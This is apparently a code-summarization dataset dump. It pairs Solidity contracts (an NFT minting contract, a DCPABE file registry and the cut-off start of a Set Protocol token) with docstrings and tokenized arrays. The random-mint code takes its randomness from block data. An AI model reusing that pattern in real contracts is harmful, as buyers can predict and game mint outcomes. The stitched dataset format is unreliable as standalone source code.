1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; // ========== Imports ========== import "./access/AdminControl.sol"; import "./token/IRemixOriginal.sol"; import "./token/extensions/ERC1155RandomMint.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Burnable.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; contract OriginalsHandDrawnLoops is ERC1155, ERC1155Burnable, ERC1155RandomMint, Pausable, ReentrancyGuard, AdminControl, Ownable, IRemixOriginal { using Strings for uint256; // ========== Mint Window Maximum Supply ========== uint16 internal GOLD_WINDOW_MAX_SUPPLY = 50; uint16 internal ANY_WINDOW_MAX_SUPPLY = 126; uint16 internal REMIX_WINDOW_MAX_SUPPLY = 59; uint8 constant GOLD_TOKEN_ID = 1; uint8 constant BASIC_TOKEN_ID = 2; // ========== Immutable Variables ========== /// @notice Mint Token Address address payable public immutable MINT_TOKEN_CONTRACT_ADDRESS; /// @notice Remix Contract Address address payable public immutable REMIX_CONTRACT_ADDRESS; /// @notice An address to withdraw balance to address payable public immutable PAYABLE_ADDRESS_1; /// @notice An address to withdraw balance to address payable public immutable PAYABLE_ADDRESS_2; // ========== Mutable Variables ========== string public baseURI; mapping(address => mapping(TokenRequirementType => uint256)) numMintsPerAddress; enum TokenRequirementType { NONE, GOLD, BASIC, ANY } struct MintWindow { TokenRequirementType tokenRequirement; bool remixHolderRequired; uint mintCostToken; uint256 mintCostETH; uint256 maximumSupply; uint16 walletLimit; } mapping(address => mapping(MintWindowType => uint256)) numberOfTokensMintedPerWindowByAddress; enum MintWindowType { GOLD, ANY, REMIX, PUBLIC } mapping(MintWindowType => MintWindow) public mintWindows; MintWindowType public currentMintWindow; mapping(MintWindowType => uint256) public numMintsByWindow; // ========== Constructor ========== constructor( address payable _MINT_TOKEN_CONTRACT_ADDRESS, address payable _REMIX_CONTRACT_ADDRESS, address _payableAddress1, address _payableAddress2, uint256[] memory tokenSupply ) ERC1155(baseURI) ERC1155RandomMint(tokenSupply) { baseURI = "https://storageapi.fleek.co/apedao-bucket/hand-drawn-loops/"; REMIX_CONTRACT_ADDRESS = _REMIX_CONTRACT_ADDRESS; MINT_TOKEN_CONTRACT_ADDRESS = _MINT_TOKEN_CONTRACT_ADDRESS; PAYABLE_ADDRESS_1 = payable(_payableAddress1); PAYABLE_ADDRESS_2 = payable(_payableAddress2); // Define Planned Mint Windows mintWindows[MintWindowType.GOLD] = MintWindow( TokenRequirementType.GOLD, true, 2, 0, // Free GOLD_WINDOW_MAX_SUPPLY, 5 ); mintWindows[MintWindowType.ANY] = MintWindow( TokenRequirementType.ANY, true, 1, 0.05 ether, // 0.05 ETH ANY_WINDOW_MAX_SUPPLY, 5 ); mintWindows[MintWindowType.REMIX] = MintWindow( TokenRequirementType.NONE, true, 0, 0.07 ether, // 0.07 ETH REMIX_WINDOW_MAX_SUPPLY, 5 ); mintWindows[MintWindowType.PUBLIC] = MintWindow( TokenRequirementType.NONE, false, 0, 0.09 ether, // 0.09 ETH totalTokenSupply, // No Maximum 0 ); // Start with the current mint window as gold and pause sale currentMintWindow = MintWindowType.GOLD; _pause(); } // ========== Minting ========== function mint(uint256 _quantity) public payable whenNotPaused nonReentrant { require(mintWindows[currentMintWindow].tokenRequirement == TokenRequirementType.NONE, "Mint tokens are required to mint."); canMint(_quantity); _mint(msg.sender, _quantity); numMintsByWindow[currentMintWindow] += _quantity; numberOfTokensMintedPerWindowByAddress[msg.sender][currentMintWindow] += _quantity; } function mintWithTokens(uint256 _numGoldTokens, uint256 _basicGoldTokens) public payable whenNotPaused nonReentrant { require(mintWindows[currentMintWindow].tokenRequirement != TokenRequirementType.NONE, "Mint tokens are required to mint."); uint256 _tokens; if(mintWindows[currentMintWindow].tokenRequirement == TokenRequirementType.GOLD) { require(_numGoldTokens > 0, "Gold token must be greater than 0"); require(_basicGoldTokens == 0, "only gold tokens are required to mint"); _tokens = _numGoldTokens; } if(mintWindows[currentMintWindow].tokenRequirement == TokenRequirementType.BASIC) { require(_basicGoldTokens > 0, "Basic token must be greater than 0"); require(_numGoldTokens == 0, "only basic tokens are required to mint"); _tokens = _basicGoldTokens; } if(mintWindows[currentMintWindow].tokenRequirement == TokenRequirementType.ANY) { require(_numGoldTokens > 0 || _basicGoldTokens > 0, "Gold or Basic token must be greater than 0"); _tokens = _basicGoldTokens + _numGoldTokens; } // Calculate quantity require(_tokens % mintWindows[currentMintWindow].mintCostToken == 0, "Quantity must be a multiple of mint cost token"); uint256 _quantity = _tokens / mintWindows[currentMintWindow].mintCostToken; canMint(_quantity); // Burn Mint Tokens ERC1155Burnable mintClubContract = ERC1155Burnable(MINT_TOKEN_CONTRACT_ADDRESS); // If Gold token is required if((getMintTokenRequirement() == TokenRequirementType.GOLD || getMintTokenRequirement() == TokenRequirementType.ANY) && _numGoldTokens > 0) { mintClubContract.burn(msg.sender, GOLD_TOKEN_ID, _numGoldTokens); } // If Basic token is required if((getMintTokenRequirement() == TokenRequirementType.BASIC || getMintTokenRequirement() == TokenRequirementType.ANY) && _basicGoldTokens > 0) { mintClubContract.burn(msg.sender, BASIC_TOKEN_ID, _basicGoldTokens); } _mint(msg.sender, _quantity); numMintsByWindow[currentMintWindow] += _quantity; numberOfTokensMintedPerWindowByAddress[msg.sender][currentMintWindow] += _quantity; } function canMint(uint256 _quantity) internal view { require(_quantity > 0, "Quantity must be greater than 0"); require(numMintsByWindow[currentMintWindow] + _quantity <= mintWindows[currentMintWindow].maximumSupply, "Quantity must be less than remaining supply for this window"); // Check mint cost uint256 mintPrice = mintWindows[currentMintWindow].mintCostETH; require(msg.value >= mintPrice * _quantity, "Insufficient ETH for minting"); // Check Wallet Limit uint256 walletLimit = mintWindows[currentMintWindow].walletLimit; require(walletLimit == 0 || (numberOfTokensMintedPerWindowByAddress[msg.sender][currentMintWindow] + _quantity <= walletLimit), "You have reached your wallet limit for this window"); // Check if Remix Holder is required if(mintWindows[currentMintWindow].remixHolderRequired) { IERC721 remixContract = IERC721(REMIX_CONTRACT_ADDRESS); require(remixContract.balanceOf(msg.sender) > 0, "You must be a Remix holder to mint"); } } function mintReservedTokens(address artistAddress, address daoAddress, address devAddress) public onlyAdmin { // Artist uint8[] memory artistTokenIds = new uint8[](12); uint8[] memory artistTokenAmounts = new uint8[](12); artistTokenIds[0] = 13; artistTokenAmounts[0] = 1; artistTokenIds[1] = 14; artistTokenAmounts[1] = 1; artistTokenIds[2] = 15; artistTokenAmounts[2] = 1; artistTokenIds[3] = 16; artistTokenAmounts[3] = 2; artistTokenIds[4] = 17; artistTokenAmounts[4] = 1; artistTokenIds[5] = 18; artistTokenAmounts[5] = 1; artistTokenIds[6] = 19; artistTokenAmounts[6] = 1; artistTokenIds[7] = 20; artistTokenAmounts[7] = 1; artistTokenIds[8] = 21; artistTokenAmounts[8] = 1; artistTokenIds[9] = 22; artistTokenAmounts[9] = 2; artistTokenIds[10] = 23; artistTokenAmounts[10] = 1; artistTokenIds[11] = 24; artistTokenAmounts[11] = 2; _mintBatchOfTokenIds(artistAddress, artistTokenIds, artistTokenAmounts); // Dao uint8[] memory daoTokenIds = new uint8[](1); uint8[] memory daoTokenAmounts = new uint8[](1); daoTokenIds[0] = 13; daoTokenAmounts[0] = 1; _mintBatchOfTokenIds(daoAddress, daoTokenIds, daoTokenAmounts); // Dev uint8[] memory devTokenIds = new uint8[](1); uint8[] memory devTokenAmounts = new uint8[](1); devTokenIds[0] = 12; devTokenAmounts[0] = 1; _mintBatchOfTokenIds(devAddress, devTokenIds, devTokenAmounts); } // ========== Public Methods ========== function getMintTokenRequirement() public view returns (TokenRequirementType) { return mintWindows[currentMintWindow].tokenRequirement; } function isRemixHolderRequired() public view returns (bool) { return mintWindows[currentMintWindow].remixHolderRequired; } function getMintCostETH() public view returns (uint256) { return mintWindows[currentMintWindow].mintCostETH; } function getMintCostToken() public view returns (uint256) { return mintWindows[currentMintWindow].mintCostToken; } function getMaximumSupply() public view returns (uint256) { return mintWindows[currentMintWindow].maximumSupply; } function getRemainingSupply() public view returns (uint256) { return mintWindows[currentMintWindow].maximumSupply - numMintsByWindow[currentMintWindow]; } function getWalletLimit() public view returns (uint16) { return mintWindows[currentMintWindow].walletLimit; } function getNumMintedInCurrentWindow(address _address) public view returns (uint256) { return numberOfTokensMintedPerWindowByAddress[_address][currentMintWindow]; } // ========== Admin ========== function setMintTokenRequirement(TokenRequirementType _tokenRequirement) public onlyAdmin { mintWindows[currentMintWindow].tokenRequirement = _tokenRequirement; } function setRemixHolderRequired(bool _value) public onlyAdmin { mintWindows[currentMintWindow].remixHolderRequired = _value; } function setMintCostETH(uint256 _mintCost) public onlyAdmin { mintWindows[currentMintWindow].mintCostETH = _mintCost; } function setMintCostToken(uint256 _mintCost) public onlyAdmin { mintWindows[currentMintWindow].mintCostToken = _mintCost; } function setMaximumSupply(uint16 _maximumSupply) public onlyAdmin { mintWindows[currentMintWindow].maximumSupply = _maximumSupply; } function setWalletLimit(uint16 _walletLimit) public onlyAdmin { mintWindows[currentMintWindow].walletLimit = _walletLimit; } function setBaseURI(string memory _baseURI) public onlyAdmin { baseURI = _baseURI; } function setCurrentMintWindow(MintWindowType _mintWindow) public onlyAdmin { currentMintWindow = _mintWindow; } function withdraw() public onlyAdmin { Address.sendValue(payable(PAYABLE_ADDRESS_1), address(this).balance * 60 / 100); Address.sendValue(payable(PAYABLE_ADDRESS_2), address(this).balance); } function pause() public onlyAdmin { _pause(); } function unpause() public onlyAdmin { _unpause(); } // ============ Overrides ======== function supportsInterface(bytes4 interfaceId) public view override(ERC1155, AdminControl) returns (bool) { return super.supportsInterface(interfaceId); } function _beforeTokenTransfer(address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal override(ERC1155) { super._beforeTokenTransfer(operator, from, to, ids, amounts, data); } function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal override(ERC1155, ERC1155Supply) { super._mint(account, id, amount, data); } function _mintBatch(address account, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal override(ERC1155, ERC1155Supply) { super._mintBatch(account, ids, amounts, data); } function _burn(address account, uint256 id, uint256 amount) internal override(ERC1155, ERC1155Supply) { super._burn(account, id, amount); } function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) internal override(ERC1155, ERC1155Supply) { super._burnBatch(account, ids, amounts); } function uri(uint256 _tokenId) public view override returns (string memory) { require(_tokenId > 0 && _tokenId <= 24, "URI requested for invalid token"); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, _tokenId.toString())) : baseURI; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "./IAdminControl.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/utils/Context.sol"; abstract contract AdminControl is AccessControl { bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE"); constructor() { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(ADMIN_ROLE, _msgSender()); } // ========== Modifiers ========== modifier onlyAdmin() { require(hasRole(ADMIN_ROLE, _msgSender()), "Caller is not an admin"); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAdminControl).interfaceId || super.supportsInterface(interfaceId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev External interface of AdminControl declared to support ERC165 detection. */ interface IAdminControl { } // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; interface IRemixOriginal { function mint(uint256 _quantity) external payable; function mintWithTokens(uint256 _numGoldTokens, uint256 _basicGoldTokens) external payable; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol"; abstract contract ERC1155RandomMint is ERC1155Supply { /** @dev This is a static array */ uint256[25] public mintableTokenCount; mapping(address => uint256) public numberOfTokensMintedByAddress; uint256 public totalTokenSupply; uint256 public numTokensMinted; /** * @dev Configure the mintable token ids and their corresponding supply. */ constructor(uint256[] memory _mintableTokenMaximumSupply) { for(uint256 i = 0; i < _mintableTokenMaximumSupply.length; i++ ) { mintableTokenCount[i] = _mintableTokenMaximumSupply[i]; totalTokenSupply += _mintableTokenMaximumSupply[i]; } } function _mint(address _to, uint256 _amount) internal { require(mintableSupply() > 0, "Not enough supply to mint all amount required"); for(uint256 i=0; i < _amount; i++ ) { uint256 seed = uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp, _msgSender(), i))); uint256 tokenIndex = seed % mintableSupply(); uint256 tokenId = tokenIdAtIndex(tokenIndex); _internalMintTokenId(_to, tokenId, 1); } } function _mintBatchOfTokenIds(address _to, uint8[] memory _tokenIds, uint8[] memory _amounts) internal { require(_tokenIds.length == _amounts.length, "Length of tokenId and amounts must be equal"); for(uint8 i=0; i<_tokenIds.length; i++ ) { _internalMintTokenId(_to, _tokenIds[i], _amounts[i]); } } function _internalMintTokenId(address _to, uint256 tokenId, uint256 _amount) internal { require(mintableTokenCount[tokenId] >= _amount, "TokenId not mintable"); mintableTokenCount[tokenId] -= _amount; numTokensMinted += _amount; numberOfTokensMintedByAddress[_to] += _amount; super._mint(_to, tokenId, _amount, "0x"); } function mintableSupply() public view returns (uint256) { return totalTokenSupply - numTokensMinted; } function tokenIdAtIndex(uint256 index) public view returns (uint256) { for(uint256 i = 0; i < mintableTokenCount.length; i++ ) { if (index < mintableTokenCount[i]) { return i; } index -= mintableTokenCount[i]; } } }
* @dev See {IERC165-supportsInterface}./
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAdminControl).interfaceId || super.supportsInterface(interfaceId); }
1,455,789
[ 1, 9704, 288, 45, 654, 39, 28275, 17, 28064, 1358, 5496, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 6146, 1358, 12, 3890, 24, 1560, 548, 13, 1071, 1476, 5024, 3849, 1135, 261, 6430, 13, 288, 203, 565, 327, 1560, 548, 422, 618, 12, 45, 4446, 3367, 2934, 5831, 548, 747, 2240, 18, 28064, 1358, 12, 5831, 548, 1769, 203, 225, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.7.0 <= 0.7.5; import "./SmartDCPABEUsers.sol"; import "./Collection.sol"; /** * @author Bruno C. P. Arruda * @title SmartDCPABE File Management Contract * @notice This contract allow the management and search of files published by this contract. * The contract also registers server hosting those files */ contract SmartDCPABEFiles is Collection { struct Recording { uint64 serverID; string uRIPathname; bytes32 hashing; uint64 timestamp; } struct Ciphertext { string policy; bytes c0; bytes c1; bytes c2; bytes c3; } struct FileServer { string domain; string path; uint16 port; } uint64 public numServers; mapping(address => string[]) fileNames; mapping(address => mapping(string => Recording)) files; mapping(address => mapping(string => Ciphertext)) ciphertexts; FileServer[] servers; SmartDCPABEUsers users; /** * @notice creates the contract with unset dependencies * @param root the address of the Root contract */ constructor(address root) Collection(root) {} /** * @inheritdoc Collection */ function setContractDependencies( ContractType contractType, address addr ) public override onlyOwner { if (contractType == ContractType.USERS) { users = SmartDCPABEUsers(addr); } } /** * @notice registers a server * @param domain server domain * @param path path to query for files * @param port service port */ function addServer( string memory domain, string memory path, uint16 port ) public returns (uint64 serverIndex) { servers.push(FileServer(domain, path, port)); serverIndex = numServers; numServers++; } /** * @notice registers a file for an user * @param addr user's address * @param filename file name * @param serverID ID of the server hosting the file * @param uRIPathname pathname component of a URI to this file * @param hashing file hashing * @param timestamp publication timestamp */ function addRecording ( address addr, string memory filename, uint64 serverID, string memory uRIPathname, bytes32 hashing, uint64 timestamp ) public onlyFileOwner(addr) validUser(addr) { if (files[addr][filename].timestamp == 0) { fileNames[addr].push(filename); } files[addr][filename] = Recording(serverID, uRIPathname, hashing, timestamp); } /** * @notice register the ABE ciphertext of a file * @param addr user's address * @param filename file name * @param policy access policy to the file * @param c0 a component of the DCPABE ciphertext * @param c1 a component of the DCPABE ciphertext * @param c2 a component of the DCPABE ciphertext * @param c3 a component of the DCPABE ciphertext */ function addRecordingCiphertext ( address addr, string memory filename, string memory policy, bytes memory c0, bytes memory c1, bytes memory c2, bytes memory c3 ) public onlyFileOwner(addr) { ciphertexts[addr][filename] = Ciphertext(policy, c0, c1, c2, c3); } /** * @notice deletes a file * @param addr user's address * @param filename file name */ function deleteFileAndCiphertext ( address addr, string memory filename ) public onlyFileOwner(addr) { delete files[addr][filename]; delete ciphertexts[addr][filename]; } /** * get ciphertext data * @param addr user's address * @param filename file name * @return policy access policy to the file * @return c0 a component of the DCPABE ciphertext * @return c1 a component of the DCPABE ciphertext * @return c2 a component of the DCPABE ciphertext * @return c3 a component of the DCPABE ciphertext */ function getCiphertext ( address addr, string memory filename ) public view returns ( string memory policy, bytes memory c0, bytes memory c1, bytes memory c2, bytes memory c3 ) { Ciphertext memory ct = ciphertexts[addr][filename]; return ( ct.policy, ct.c0, ct.c1, ct.c2, ct.c3 ); } /** * @notice get the ID of a server * @param domain server domain * @return serverID the ID of the server */ function getServerID(string memory domain) public view returns (int64) { for (uint64 i = 0; i < numServers; i++) { if (keccak256(bytes(domain)) == keccak256(bytes(servers[i].domain))) { return int64(i); } } return -1; } /** * @notice get server data * @param index the ID of the server * @return domain server domain * @return path path to query for files * @return port service port */ function getServer( uint64 index ) public view returns (string memory domain, string memory path, uint16 port) { assert(index < numServers); FileServer storage s = servers[index]; return (s.domain, s.path, s.port); } /** * @notice get recording data * @param addr user's address * @param index file index in the user's recording array * @return name the file name * @return serverID ID of the server hosting the file * @return uRIPathname pathname component of a URI to this file * @return hashing * @return timestamp publication timestamp */ function getRecording ( address addr, uint64 index ) public view returns ( string memory name, uint64 serverID, string memory uRIPathname, bytes32 hashing, uint64 timestamp ) { return getRecording(addr, fileNames[addr][index]); } /** * @notice get recording data * @param addr user's address * @param name file name * @return name_ the file name * @return serverID ID of the server hosting the file * @return uRIPathname pathname component of a URI to this file * @return hashing * @return timestamp publication timestamp */ function getRecording ( address addr, string memory name ) public view returns ( string memory name_, uint64 serverID, string memory uRIPathname, bytes32 hashing, uint64 timestamp ) { Recording storage r = files[addr][name]; return ( name, r.serverID, r.uRIPathname, r.hashing, r.timestamp ); } /** * @notice get the name of a file by its index in the user's recording array * @param addr user's address * @param index file index in the user's recording array * @return filename */ function getFileNameByIndex(address addr, uint64 index) public view returns (string memory) { return fileNames[addr][index]; } /** * @notice get file countings * @param addr user's address * @return num_files the number of files published by the user */ function getFileCounting(address addr) public view returns (uint256) { return fileNames[addr].length; } /** * @notice checks if the transaction sender is the owner * @param addr user's address */ modifier onlyFileOwner(address addr) { require (msg.sender == addr, "Operation not allowed. User must be the file owner"); _; } /** * @notice checks if the address is registered as an user * @param addr user's address */ modifier validUser(address addr) { require(users.isUser(addr), "User not registered"); _; } /** * @notice checks if the file exists * @param addr user's address * @param filename file name */ modifier validFile(address addr, string memory filename) { require(files[addr][filename].timestamp != 0, "File does not exist."); _; } }
* @notice get the name of a file by its index in the user's recording array @param addr user's address @param index file index in the user's recording array @return filename/
function getFileNameByIndex(address addr, uint64 index) public view returns (string memory) { return fileNames[addr][index]; }
1,018,658
[ 1, 588, 326, 508, 434, 279, 585, 635, 2097, 770, 316, 326, 729, 1807, 14949, 526, 225, 3091, 729, 1807, 1758, 225, 770, 585, 770, 316, 326, 729, 1807, 14949, 526, 327, 1544, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 13807, 21268, 12, 2867, 3091, 16, 2254, 1105, 770, 13, 1071, 1476, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 327, 27375, 63, 4793, 6362, 1615, 15533, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/* Copyright 2018 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.4.24; import { AddressArrayUtils } from "cryptofin-solidity/contracts/array-utils/AddressArrayUtils.sol"; import { DetailedERC20 } from "zeppelin-solidity/contracts/token/ERC20/DetailedERC20.sol"; import { Math } from "zeppelin-solidity/contracts/math/Math.sol"; import { SafeMath } from "zeppelin-solidity/contracts/math/SafeMath.sol"; import { StandardToken } from "zeppelin-solidity/contracts/token/ERC20/StandardToken.sol"; import { Bytes32 } from "../lib/Bytes32.sol"; import { CommonMath } from "../lib/CommonMath.sol"; import { ERC20Wrapper } from "../lib/ERC20Wrapper.sol"; import { IAuctionPriceCurve } from "./lib/auction-price-libraries/IAuctionPriceCurve.sol"; import { ICore } from "./interfaces/ICore.sol"; import { IRebalancingSetFactory } from "./interfaces/IRebalancingSetFactory.sol"; import { ISetToken } from "./interfaces/ISetToken.sol"; import { IVault } from "./interfaces/IVault.sol"; /** * @title SetToken * @author Set Protocol * * Implementation of Rebalancing Set token. */ contract RebalancingSetToken is StandardToken, DetailedERC20 { using SafeMath for uint256; using Bytes32 for bytes32; using AddressArrayUtils for address[]; /* ============ Enums ============ */ enum State { Default, Proposal, Rebalance } /* ============ State Variables ============ */ address public factory; // All rebalancingSetTokens have same natural unit, still allows for // small amounts to be issued and attempts to reduce slippage as much // as possible. uint256 public naturalUnit = 10 ** 10; address public manager; State public rebalanceState; // State updated after every rebalance address public currentSet; uint256 public unitShares; uint256 public lastRebalanceTimestamp; // Fee setting, values in basis points uint256 public entranceFee; uint256 public rebalanceFee; // State governing rebalance cycle uint256 public proposalPeriod; uint256 public rebalanceInterval; // State to track proposal period uint256 public proposalStartTime; // State needed for auction/rebalance uint256 public auctionStartTime; address public nextSet; address public auctionLibrary; uint256 public auctionPriceDivisor; uint256 public auctionStartPrice; uint256 public minimumBid; uint256 public curveCoefficient; address[] public combinedTokenArray; uint256[] public combinedCurrentUnits; uint256[] public combinedNextSetUnits; uint256 public remainingCurrentSets; /* ============ Events ============ */ event NewManagerAdded( address newManager, address oldManager ); event RebalanceProposed( address nextSet, address indexed auctionLibrary, uint256 indexed proposalPeriodEndTime ); event RebalanceStarted( address oldSet, address newSet ); /* ============ Constructor ============ */ /** * Constructor function for Rebalancing Set Token * * * @param _factory Factory used to create the Rebalancing Set * @param _manager Manager of the Rebalancing Set * 